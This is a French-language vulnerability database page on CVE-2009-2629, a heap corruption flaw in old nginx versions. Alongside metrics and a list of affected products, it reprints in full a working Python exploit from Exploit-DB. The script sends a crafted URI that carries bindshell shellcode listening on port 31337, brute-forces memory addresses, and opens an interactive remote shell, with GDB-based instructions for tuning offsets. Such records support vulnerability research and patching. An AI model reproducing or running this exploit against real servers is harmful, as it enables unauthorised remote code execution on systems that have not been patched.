Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-787 |
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 14830
Date de publication : 2010-08-28 22:00 +00:00
Auteur : Aaron Conole
EDB Vérifié : Yes
#!/usr/bin/env python
#
# Exploit Title: nginx heap corruption
# Date: 08/26/2010
# Author: aaron conole <
[email protected]>
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
# Version: <= 0.6.38, <= 0.7.61
# Tested on: BT4R1 running nginx 0.6.38 locally
# CVE: 2009-2629
#
# note: this was written and tested against BT4. This means it's an
# intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
# also - only tested successfully against nginx 0.6.38
# you'll definitely need to modify against other versions
#
# you'll need to know where the offset is going to land, and what the pad is
# from that point to when you've tained execution flow.
#
# A quick way to find out just for verification would be to launch nginx,
# attach GDB to the worker and target it with the exploit, setting the offset
# to 0, or some other arbitrary value. It should crash on a piece of code which
# resembles:
# if (ctx->offset)
#
# At that point, merely dump the *r; capture the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
#
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
# found a "magic" combination that would cause the state machine to do
# what I want to make the bug trigger. Once I do, you can bet BUG will be
# replaced.
#Basically, on BT4:
#- compile
#- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")
#- Launch nginx, and attach GDB to the worker
#- Send the exploit at it with offset 0x11111111
#- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"
#- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f).
#- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going).
#- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag
#- In a minute or two, you should be given the shell.
import os
import sys
import socket
import select
import struct
import time
import urllib
REQUEST_METHOD='GET '
# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
NULLPTR='\x00\x00\x00\x00'
# NOTE - this shellcode was shamelessly stolen from the www
# port 31337 bindshell for /bin/sh
SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'
# Why did I write this up this way? Because given enough time, I think I can
# find a proper set of state change which can give me the same effect (ie: ../
# appearing as the 3rd, 4th, and 5th characters) at a later date.
# That's all controlled by the complex uri parsing bit, though.
DOUBLE_SLASH='//../'
BUG=DOUBLE_SLASH
# taken from the metasploit pattern_create.rb
PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'
def connect_socket(host,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect( (host, port) )
except:
return 0
#sock.setblocking(0)
return sock
def handle_connection(sock):
while(1):
r, w, e = select.select( [sock, sys.stdin],
[],
[sock, sys.stdin] )
for s in r:
if s == sys.stdin:
buf = sys.stdin.readline()
try:
if buf != '':
sock.send(buf)
except:
print "Xon close?"
return 0
elif s == sock:
try:
buf = sock.recv(100)
except:
print "Xon close?"
return 0
if buf != '':
sys.stdout.write(buf)
def main(argv):
argc = len(argv)
if argc < 4:
print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])
print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
print "[*] host = the remote host name"
print "[*] port = the remote port"
print "[*] ctx_addr is where the context address should begin at"
print "[*] -b specifies a brute-force (which will start at ctx_addr"
sys.exit(0)
host = argv[1]
port = int(argv[2])
ctx_addr = int(argv[3],16)
brute_flag = 0
if(argc == 5):
brute_flag = 1
testing = 1
print "[*] target: %s:%d" % (host, port)
try:
sd = urllib.urlopen("http://%s:%d" % (host, port))
sd.close()
except IOError, errmsg:
print "[*] error: %s" % (errmsg)
sys.exit(1)
print "[*] sending exploit string to %s:%d" % (host, port)
while(testing):
CTX_ADDRESS = struct.pack('<L',ctx_addr)
CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)
POOL_ADDRESS = struct.pack('<L',ctx_addr+56)
DATA_ADDRESS = struct.pack('<L',ctx_addr+86)
RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)
SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)
#PADDING
SHELLCODE=PATTERN[:67]
#the output context structure
SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS
#Magic
SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR
#this is the context object - some null ptrs, then we set range, then
#pool address
SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'
SHELLCODE+=NULLPTR*2+POOL_ADDRESS
#this is the data buffer object
SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR
#this is the pool memory structure ..
SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR
# this is the range structure
SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3
SHELLCODE+=SHELL
payload = REQUEST_METHOD
payload += BUG
payload += SHELLCODE
payload += ' HTTP/1.0\r\n\r\n'
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
sd.send(payload)
sd.close()
if (brute_flag):
nsock = connect_socket(host,31337)
if nsock != 0:
print "[*] Successful Exploit via buffer: %x" % (ctx_addr)
testing = 0
handle_connection(nsock)
else:
ctx_addr = ctx_addr + 1
else:
testing = 0
print "[*] FIN."
if __name__ == "__main__":
main(sys.argv)
sys.exit(0)
# EOF
Products Mentioned
Configuraton 0
F5>>Nginx >> Version From (including) 0.1.0 To (excluding) 0.5.38
F5>>Nginx >> Version From (including) 0.6.0 To (excluding) 0.6.39
F5>>Nginx >> Version From (including) 0.7.0 To (excluding) 0.7.62
F5>>Nginx >> Version From (including) 0.8.0 To (excluding) 0.8.15
Configuraton 0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 5.0
Debian>>Debian_linux >> Version 6.0
Configuraton 0
Fedoraproject>>Fedora >> Version 10
Fedoraproject>>Fedora >> Version 11
Fedoraproject>>Fedora >> Version 12
References